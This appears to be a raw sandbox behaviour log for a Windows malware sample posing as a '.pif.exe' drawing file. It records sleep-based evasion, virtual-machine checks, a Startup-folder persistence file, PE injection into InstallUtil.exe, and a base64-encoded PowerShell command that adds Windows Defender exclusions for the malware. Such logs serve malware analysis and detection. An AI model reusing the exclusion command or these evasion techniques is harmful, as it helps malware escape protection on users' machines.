Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 400	Thread sleep time: -95719s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 400	Thread sleep time: -95576s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 400	Thread sleep time: -95467s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 400	Thread sleep time: -95360s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 400	Thread sleep time: -95235s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 400	Thread sleep time: -95110s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 400	Thread sleep time: -94985s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 400	Thread sleep time: -94860s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 400	Thread sleep time: -94735s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 400	Thread sleep time: -94610s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 400	Thread sleep time: -94485s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 400	Thread sleep time: -94360s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 400	Thread sleep time: -94235s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 400	Thread sleep time: -94110s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 400	Thread sleep time: -93985s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 400	Thread sleep time: -93860s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 400	Thread sleep time: -93735s >= -30000s

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\page.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\page.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Thread delayed: delay time: 99874	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Thread delayed: delay time: 99740	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Thread delayed: delay time: 99625	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Thread delayed: delay time: 99515	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Thread delayed: delay time: 99403	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Thread delayed: delay time: 99239	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Thread delayed: delay time: 99122	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Thread delayed: delay time: 98951	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Thread delayed: delay time: 98840	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Thread delayed: delay time: 98734	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Thread delayed: delay time: 98624	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Thread delayed: delay time: 98515	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Thread delayed: delay time: 98406	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Thread delayed: delay time: 98297	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Thread delayed: delay time: 98172	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Thread delayed: delay time: 98062	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Thread delayed: delay time: 97953	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Thread delayed: delay time: 97844	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99875	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99766	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99656	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99547	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99437	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99328	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99196	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99093	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98981	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98875	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98766	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98656	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98547	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98437	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98257	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97826	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97717	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97609	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97500	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97391	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97281	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97172	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97062	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96953	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96844	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96719	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96609	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96500	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96391	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96281	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96172	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96062	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95953	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95841	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95734	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95622	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95506	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95381	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95249	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95109	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 94874	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 94766	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 94641	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 94528	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 94421	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 94312	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 94203	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 94094	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 93984	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 93875	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe	Thread delayed: delay time: 99890	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe	Thread delayed: delay time: 99780	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe	Thread delayed: delay time: 99672	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe	Thread delayed: delay time: 99562	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe	Thread delayed: delay time: 99453	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe	Thread delayed: delay time: 99335	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe	Thread delayed: delay time: 99218	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe	Thread delayed: delay time: 99109	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe	Thread delayed: delay time: 98999	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe	Thread delayed: delay time: 98890	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe	Thread delayed: delay time: 98781	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe	Thread delayed: delay time: 98672	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe	Thread delayed: delay time: 98562	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe	Thread delayed: delay time: 98453	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe	Thread delayed: delay time: 98343	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 100000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99889
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99781
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99672
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99563
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99438
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99328
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99219
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 99094
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98983
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98875
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98738
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98578
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98297
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 98063
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97953
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97844
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97719
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97610
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97485
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97360
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97235
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 97110
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96985
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96860
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96735
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96610
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96485
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96360
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96235
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 96110
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95985
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95845
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95719
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95576
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95467
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95360
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95235
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 95110
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 94985
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 94860
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 94735
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 94610
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 94485
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 94360
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 94235
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 94110
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 93985
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 93860
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 93735

Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\	Jump to behavior

Source: page.exe, 00000010.00000002.1913541697.0000000002B28000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware\|VIRTUAL\|A M I\|Xen
Source: wscript.exe, 0000000F.00000002.1702224508.00000240E27C2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: page.exe, 00000010.00000002.1913541697.0000000002B28000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Microsoft\|VMWare\|Virtual
Source: InstallUtil.exe, 00000014.00000002.2641993211.00000000059E0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllh
Source: InstallUtil.exe, 0000000B.00000002.1857832769.0000000001057000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllj
Source: 58955, ZN25888A #U2013 drawing.pif.exe, 00000001.00000002.1651454282.00000000007CF000.00000004.00000020.00020000.00000000.sdmp, page.exe, 00000010.00000002.1909235263.0000000000BB5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Encrypted powershell cmdline option found

Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Process created: Base64 decoded Add-MpPreference -ExclusionPath C:\Users\tina\Desktop\58955, ZN25888A #U2013 drawing.pif.exe; Add-MpPreference -ExclusionProcess C:\Users\tina\Desktop\58955, ZN25888A #U2013 drawing.pif.exe;Add-MpPreference -ExclusionPath C:\Users\tina\AppData\Roaming\page.exe; Add-MpPreference -ExclusionProcess C:\Users\tina\AppData\Roaming\page.exe
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Process created: Base64 decoded Add-MpPreference -ExclusionPath C:\Users\tina\Desktop\58955, ZN25888A #U2013 drawing.pif.exe; Add-MpPreference -ExclusionProcess C:\Users\tina\Desktop\58955, ZN25888A #U2013 drawing.pif.exe;Add-MpPreference -ExclusionPath C:\Users\tina\AppData\Roaming\page.exe; Add-MpPreference -ExclusionProcess C:\Users\tina\AppData\Roaming\page.exe			Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 value starts with: 4D5A

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 402000	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 488000	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 48A000	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: D02008	Jump to behavior

Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /release	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAHQAaQBuAGEAXABEAGUAcwBrAHQAbwBwAFwANQA4ADkANQA1ACwAIABaAE4AMgA1ADgAOAA4AEEAIAAjAFUAMgAwADEAMwAgAGQAcgBhAHcAaQBuAGcALgBwAGkAZgAuAGUAeABlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAQwA6AFwAVQBzAGUAcgBzAFwAdABpAG4AYQBcAEQAZQBzAGsAdABvAHAAXAA1ADgAOQA1ADUALAAgAFoATgAyADUAOAA4ADgAQQAgACMAVQAyADAAMQAzACAAZAByAGEAdwBpAG4AZwAuAHAAaQBmAC4AZQB4AGUAOwBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQwA6AFwAVQBzAGUAcgBzAFwAdABpAG4AYQBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAcABhAGcAZQAuAGUAeABlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAQwA6AFwAVQBzAGUAcgBzAFwAdABpAG4AYQBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAcABhAGcAZQAuAGUAeABlAA==	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior
Source: C:\Users\user\Desktop\58955, ZN25888A #U2013 drawing.pif.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /renew	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /release	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /renew	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Roaming\page.exe "C:\Users\user\AppData\Roaming\page.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /release	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /renew	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /release
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /renew

